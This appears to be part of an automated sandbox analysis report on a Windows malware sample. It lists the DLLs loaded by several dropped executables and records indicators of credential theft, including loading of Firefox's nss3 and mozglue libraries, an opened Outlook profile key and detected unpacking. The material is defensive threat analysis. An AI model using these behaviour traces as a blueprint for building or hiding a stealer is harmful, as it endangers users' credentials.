Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: shfolder.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: pcacli.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: sfc_os.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\RoamingHJDBKJKFIE.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\RoamingHJDBKJKFIE.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\RoamingHJDBKJKFIE.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\RoamingHJDBKJKFIE.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\userKFHCAEGCBF.exe	Section loaded: apphelp.dll
Source: C:\Users\userKFHCAEGCBF.exe	Section loaded: winmm.dll
Source: C:\Users\userKFHCAEGCBF.exe	Section loaded: wininet.dll
Source: C:\Users\userKFHCAEGCBF.exe	Section loaded: sspicli.dll
Source: C:\Users\userKFHCAEGCBF.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\userKFHCAEGCBF.exe	Section loaded: uxtheme.dll
Source: C:\Users\userKFHCAEGCBF.exe	Section loaded: mstask.dll
Source: C:\Users\userKFHCAEGCBF.exe	Section loaded: windows.storage.dll
Source: C:\Users\userKFHCAEGCBF.exe	Section loaded: wldp.dll
Source: C:\Users\userKFHCAEGCBF.exe	Section loaded: mpr.dll
Source: C:\Users\userKFHCAEGCBF.exe	Section loaded: dui70.dll
Source: C:\Users\userKFHCAEGCBF.exe	Section loaded: duser.dll
Source: C:\Users\userKFHCAEGCBF.exe	Section loaded: chartv.dll
Source: C:\Users\userKFHCAEGCBF.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\userKFHCAEGCBF.exe	Section loaded: oleacc.dll
Source: C:\Users\userKFHCAEGCBF.exe	Section loaded: atlthunk.dll
Source: C:\Users\userKFHCAEGCBF.exe	Section loaded: textinputframework.dll
Source: C:\Users\userKFHCAEGCBF.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\userKFHCAEGCBF.exe	Section loaded: coremessaging.dll
Source: C:\Users\userKFHCAEGCBF.exe	Section loaded: ntmarta.dll
Source: C:\Users\userKFHCAEGCBF.exe	Section loaded: wintypes.dll
Source: C:\Users\userKFHCAEGCBF.exe	Section loaded: wintypes.dll
Source: C:\Users\userKFHCAEGCBF.exe	Section loaded: wintypes.dll
Source: C:\Users\userKFHCAEGCBF.exe	Section loaded: wtsapi32.dll
Source: C:\Users\userKFHCAEGCBF.exe	Section loaded: winsta.dll
Source: C:\Users\userKFHCAEGCBF.exe	Section loaded: textshaping.dll
Source: C:\Users\userKFHCAEGCBF.exe	Section loaded: propsys.dll
Source: C:\Users\userKFHCAEGCBF.exe	Section loaded: explorerframe.dll
Source: C:\Users\userKFHCAEGCBF.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\userKFHCAEGCBF.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\userKFHCAEGCBF.exe	Section loaded: iertutil.dll
Source: C:\Users\userKFHCAEGCBF.exe	Section loaded: profapi.dll
Source: C:\Users\userKFHCAEGCBF.exe	Section loaded: edputil.dll
Source: C:\Users\userKFHCAEGCBF.exe	Section loaded: urlmon.dll
Source: C:\Users\userKFHCAEGCBF.exe	Section loaded: srvcli.dll
Source: C:\Users\userKFHCAEGCBF.exe	Section loaded: netutils.dll
Source: C:\Users\userKFHCAEGCBF.exe	Section loaded: appresolver.dll
Source: C:\Users\userKFHCAEGCBF.exe	Section loaded: bcp47langs.dll
Source: C:\Users\userKFHCAEGCBF.exe	Section loaded: slc.dll
Source: C:\Users\userKFHCAEGCBF.exe	Section loaded: userenv.dll
Source: C:\Users\userKFHCAEGCBF.exe	Section loaded: sppc.dll
Source: C:\Users\userKFHCAEGCBF.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: msvcr100.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: shfolder.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winhttp.dll

Source: C:\Users\user\Desktop\8NjcvPNvUr.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: C:\Program Files\Mozilla Firefox\firefox.exe

File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\compatibility.ini

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: 8NjcvPNvUr.exe

Static file information: File size 1955840 > 1048576

Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: 8NjcvPNvUr.exe

Static PE information: Raw size of lybfcffv is bigger than: 0x100000 < 0x1ac000

Source:	Binary string: mozglue.pdbP source: 8ec8c5c339.exe, 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: nss3.pdb@ source: 8ec8c5c339.exe, 00000008.00000002.2780920957.000000006C3FF000.00000002.00000001.01000000.0000000B.sdmp
Source:	Binary string: "description": "The name of the library's debug file. For example, 'xul.pdb" source: firefox.exe, 00000023.00000002.3334627067.0000028631D33000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb source: 8ec8c5c339.exe, 00000008.00000002.2780920957.000000006C3FF000.00000002.00000001.01000000.0000000B.sdmp
Source:	Binary string: mozglue.pdb source: 8ec8c5c339.exe, 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	Unpacked PE file: 0.2.8NjcvPNvUr.exe.250000.0.unpack :EW;.rsrc:W;.idata :W; :EW;lybfcffv:EW;emchirzz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;lybfcffv:EW;emchirzz:EW;.taggant:EW;
